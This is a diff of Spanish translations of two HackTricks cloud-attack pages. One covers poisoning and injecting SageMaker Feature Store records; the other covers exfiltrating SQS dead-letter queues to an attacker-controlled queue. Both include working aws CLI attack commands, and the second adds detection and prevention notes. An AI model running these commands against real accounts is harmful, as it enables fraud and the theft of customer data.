||||
1) Leer el registro legítimo actual
|
||||
```bash
|
||||
@@ -39,7 +39,7 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
2) Envenena el registro con valores maliciosos usando el parámetro inline `--record`
|
||||
2) Envenenar el registro con valores maliciosos usando el parámetro inline `--record`
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -63,9 +63,9 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
**Impacto**: Los modelos ML que consumen esta característica ahora verán `risk_score=0.99` para un usuario legítimo, lo que podría bloquear sus transacciones o servicios.
|
||||
**Impact**: Los modelos ML que consumen esta característica ahora verán `risk_score=0.99` para un usuario legítimo, potencialmente bloqueando sus transacciones o servicios.
|
||||
|
||||
### Escenario de ataque 2: Malicious Data Injection (Create Fraudulent Records)
|
||||
### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records)
|
||||
|
||||
Inyectar registros completamente nuevos con características manipuladas para evadir los controles de seguridad:
|
||||
```bash
|
||||
@@ -84,16 +84,16 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
Verifique la inyección:
|
||||
Verificar la inyección:
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
**Impact**: El atacante crea una identidad falsa con una puntuación de riesgo baja (0.01) que puede realizar transacciones fraudulentas de alto valor sin activar la detección de fraude.
|
||||
**Impact**: El atacante crea una identidad falsa con una puntuación de riesgo baja (0.01) que puede realizar transacciones fraudulentas de alto valor sin activar la detección de fraudes.
|
||||
|
||||
### Escenario de ataque 3: Exfiltración de datos sensibles
|
||||
### Attack Scenario 3: Sensitive Data Exfiltration
|
||||
|
||||
Leer múltiples registros para extraer características confidenciales y perfilar el comportamiento del modelo:
|
||||
```bash
|
||||
@@ -106,7 +106,7 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
**Impact**: Características confidenciales (puntuaciones de riesgo, patrones de transacción, datos personales) expuestas al attacker.
|
||||
**Impacto**: características confidenciales (puntuaciones de riesgo, patrones de transacciones, datos personales) expuestas al atacante.
|
||||
|
||||
### Creación de Feature Group de prueba/demostración (Opcional)
|
||||
|
||||
|
||||
@@ -2,54 +2,54 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Descripción
|
||||
## Description
|
||||
|
||||
Abusar de las tareas de movimiento de mensajes de SQS para robar todos los mensajes acumulados en el Dead-Letter Queue (DLQ) de una víctima redirigiéndolos a una queue controlada por el atacante usando `sqs:StartMessageMoveTask`. Esta técnica explota la funcionalidad legítima de recuperación de mensajes de AWS para exfiltrar datos sensibles que se han acumulado en los DLQ a lo largo del tiempo.
|
||||
Abusar de las tareas de movimiento de mensajes de SQS para robar todos los mensajes acumulados de la Dead-Letter Queue (DLQ) de una víctima redirigiéndolos a una cola controlada por el atacante usando `sqs:StartMessageMoveTask`. Esta técnica explota la funcionalidad legítima de recuperación de mensajes de AWS para exfiltrar datos sensibles que se han ido acumulando en las DLQs con el tiempo.
|
||||
|
||||
## ¿Qué es un Dead-Letter Queue (DLQ)?
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
|
||||
Un Dead-Letter Queue es una queue especial de SQS donde los mensajes se envían automáticamente cuando fallan al ser procesados correctamente por la aplicación principal. Estos mensajes fallidos a menudo contienen:
|
||||
- Datos sensibles de la aplicación que no pudieron procesarse
|
||||
- Detalles de errores e información para depuración
|
||||
- Información de identificación personal (PII)
|
||||
Una Dead-Letter Queue es una cola SQS especial donde los mensajes se envían automáticamente cuando fallan al ser procesados correctamente por la aplicación principal. Estos mensajes fallidos a menudo contienen:
|
||||
- Datos sensibles de la aplicación que no pudieron ser procesados
|
||||
- Detalles de errores e información de depuración
|
||||
- Información de Identificación Personal (PII)
|
||||
- Tokens de API, credenciales u otros secretos
|
||||
- Datos de transacciones críticos para el negocio
|
||||
|
||||
Los DLQ actúan como un "cementerio" para mensajes fallidos, lo que los convierte en objetivos valiosos ya que acumulan datos sensibles con el tiempo que las aplicaciones no pudieron manejar correctamente.
|
||||
Las DLQs actúan como un "cementerio" para mensajes fallidos, lo que las convierte en objetivos valiosos ya que acumulan datos sensibles con el tiempo que las aplicaciones no pudieron manejar correctamente.
|
||||
|
||||
## Escenario de ataque
|
||||
## Attack Scenario
|
||||
|
||||
**Ejemplo del mundo real:**
|
||||
1. **Una aplicación de e-commerce** procesa pedidos de clientes a través de SQS
|
||||
2. **Algunos pedidos fallan** (problemas de pago, inventario, etc.) y se mueven a un DLQ
|
||||
3. **El DLQ acumula** semanas/meses de pedidos fallidos que contienen datos de clientes: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **El atacante obtiene acceso** a credenciales de AWS con permisos de SQS
|
||||
5. **El atacante descubre** que el DLQ contiene miles de pedidos fallidos con datos sensibles
|
||||
6. **En lugar de intentar acceder a mensajes individuales** (lento y obvio), el atacante usa `StartMessageMoveTask` para transferir a granel TODOS los mensajes a su propia queue
|
||||
7. **El atacante extrae** todos los datos históricos sensibles en una sola operación
|
||||
**Real-world example:**
|
||||
1. **Aplicación de e-commerce** procesa pedidos de clientes a través de SQS
|
||||
2. **Algunos pedidos fallan** (problemas de pago, inventario, etc.) y se mueven a una DLQ
|
||||
3. **La DLQ acumula** semanas/meses de pedidos fallidos que contienen datos de clientes: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **El atacante consigue acceso** a credenciales de AWS con permisos SQS
|
||||
5. **El atacante descubre** que la DLQ contiene miles de pedidos fallidos con datos sensibles
|
||||
6. **En lugar de intentar acceder a mensajes individuales** (lento y evidente), el atacante utiliza `StartMessageMoveTask` para transferir en masa TODOS los mensajes a su propia cola
|
||||
7. **El atacante extrae** todos los datos sensibles históricos en una sola operación
|
||||
|
||||
## Requisitos
|
||||
- La queue de origen debe estar configurada como DLQ (referenciada por al menos una RedrivePolicy de alguna queue).
|
||||
- Permisos IAM (ejecutados como el principal víctima comprometido):
|
||||
- En la DLQ (origen): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- En la queue de destino: permiso para entregar mensajes (por ejemplo, política de queue que permita `sqs:SendMessage` desde el principal víctima). Para destinos en la misma cuenta, esto suele estar permitido por defecto.
|
||||
## Requirements
|
||||
- La cola origen debe estar configurada como DLQ (referenciada por al menos una RedrivePolicy de cola).
|
||||
- IAM permissions (run as the compromised victim principal):
|
||||
- En la DLQ (origen): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- En la cola destino: permiso para entregar mensajes (p. ej., política de cola que permita `sqs:SendMessage` desde el principal víctima). Para destinos en la misma cuenta esto suele permitirse por defecto.
|
||||
- Si SSE-KMS está habilitado: en la CMK de origen `kms:Decrypt`, y en la CMK de destino `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impacto
|
||||
Exfiltrar cargas útiles sensibles acumuladas en DLQs (eventos fallidos, PII, tokens, payloads de aplicación) a alta velocidad usando las APIs nativas de SQS. Funciona cross-account si la política de la queue de destino permite `SendMessage` desde el principal víctima.
|
||||
## Impact
|
||||
Exfiltrar cargas útiles sensibles acumuladas en DLQs (eventos fallidos, PII, tokens, payloads de aplicación) a alta velocidad usando las APIs nativas de SQS. Funciona cross-account si la política de la cola destino permite `SendMessage` desde el principal víctima.
|
||||
|
||||
## Cómo abusar
|
||||
## How to Abuse
|
||||
|
||||
- Identifique el ARN del DLQ de la víctima y asegúrese de que realmente esté referenciado como DLQ por alguna queue (cualquier queue sirve).
|
||||
- Cree o elija una queue controlada por el atacante y obtenga su ARN.
|
||||
- Inicie una tarea de movimiento de mensajes desde el DLQ de la víctima hacia su queue de destino.
|
||||
- Monitoree el progreso o cancele si es necesario.
|
||||
- Identificar el ARN de la DLQ víctima y asegurarse de que realmente esté referenciada como DLQ por alguna cola (cualquier cola sirve).
|
||||
- Crear o elegir una cola destino controlada por el atacante y obtener su ARN.
|
||||
- Iniciar una tarea de movimiento de mensajes desde la DLQ víctima hacia tu cola destino.
|
||||
- Monitorizar el progreso o cancelar si es necesario.
|
||||
|
||||
### Ejemplo CLI: Exfiltración de datos de clientes desde DLQ de e-commerce
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Escenario**: Un atacante ha comprometido credenciales de AWS y descubrió que una aplicación de e-commerce usa SQS con un DLQ que contiene intentos fallidos de procesamiento de pedidos de clientes.
|
||||
**Scenario**: Un atacante ha comprometido credenciales de AWS y descubrió que una aplicación de e-commerce usa SQS con una DLQ que contiene intentos fallidos de procesamiento de pedidos de clientes.
|
||||
|
||||
1) **Descubrir y examinar el DLQ de la víctima**
|
||||
1) **Descubrir y examinar la DLQ víctima**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
@@ -63,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Crear cola de destino controlada por attacker**
|
||||
2) **Crear una cola de destino controlada por el atacante**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
@@ -115,21 +115,21 @@ echo "Received batch of stolen data..."
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Notas entre cuentas
|
||||
- La cola de destino debe tener una política de recursos que permita al principal víctima `sqs:SendMessage` (and, if used, KMS grants/permissions).
|
||||
### Notas de cuentas cruzadas
|
||||
- La cola de destino debe tener una política de recursos que permita al principal de la víctima `sqs:SendMessage` (y, si se usan, KMS grants/permissions).
|
||||
|
||||
## Por qué este ataque es efectivo
|
||||
|
||||
1. **Funcionalidad legítima de AWS**: Usa la funcionalidad integrada de AWS, lo que dificulta detectarla como maliciosa
|
||||
2. **Operación masiva**: Transfiere miles de mensajes rápidamente en lugar de acceder uno por uno lentamente
|
||||
3. **Datos históricos**: Las DLQs acumulan datos sensibles durante semanas/meses
|
||||
4. **Fuera del radar**: Muchas organizaciones no monitorizan el acceso a DLQs de cerca
|
||||
5. **Capaz entre cuentas**: Puede exfiltrar a la propia cuenta de AWS del atacante si los permisos lo permiten
|
||||
1. **Característica legítima de AWS**: Usa funcionalidad integrada de AWS, lo que dificulta detectarlo como malicioso
|
||||
2. **Operación por lotes**: Transfiere miles de mensajes rápidamente en lugar de accederlos individualmente y de forma lenta
|
||||
3. **Datos históricos**: DLQs acumulan datos sensibles durante semanas/meses
|
||||
4. **Fuera del radar**: Muchas organizaciones no monitorizan de cerca el acceso a las DLQs
|
||||
5. **Capaz entre cuentas**: Puede exfiltrar a la propia cuenta AWS del atacante si los permisos lo permiten
|
||||
|
||||
## Detección y prevención
|
||||
|
||||
### Detección
|
||||
Supervisa CloudTrail en busca de llamadas API sospechosas `StartMessageMoveTask`:
|
||||
Monitoriza CloudTrail en busca de llamadas API `StartMessageMoveTask` sospechosas:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
@@ -145,10 +145,10 @@ Supervisa CloudTrail en busca de llamadas API sospechosas `StartMessageMoveTask`
|
||||
}
|
||||
```
|
||||
### Prevención
|
||||
1. **Principio de mínimo privilegio**: Restringir los permisos `sqs:StartMessageMoveTask` solo a los roles necesarios
|
||||
2. **Monitorear DLQs**: Configurar alarmas de CloudWatch para actividad inusual en DLQs
|
||||
3. **Políticas entre cuentas**: Revisar cuidadosamente las políticas de las colas SQS que permiten acceso entre cuentas
|
||||
4. **Cifrar DLQs**: Usar SSE-KMS con políticas de clave restringidas
|
||||
5. **Limpieza regular**: No permita que datos sensibles se acumulen en DLQs indefinidamente
|
||||
1. **Principio de menor privilegio**: Restringir los permisos `sqs:StartMessageMoveTask` solo a los roles necesarios
|
||||
2. **Supervisar DLQs**: Configurar alarmas de CloudWatch para actividad inusual en las DLQs
|
||||
3. **Políticas entre cuentas**: Revisar cuidadosamente las políticas de colas SQS que permitan acceso entre cuentas
|
||||
4. **Cifrar DLQs**: Usar SSE-KMS con políticas de claves restringidas
|
||||
5. **Limpieza periódica**: No permitir que datos sensibles se acumulen en las DLQs indefinidamente
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user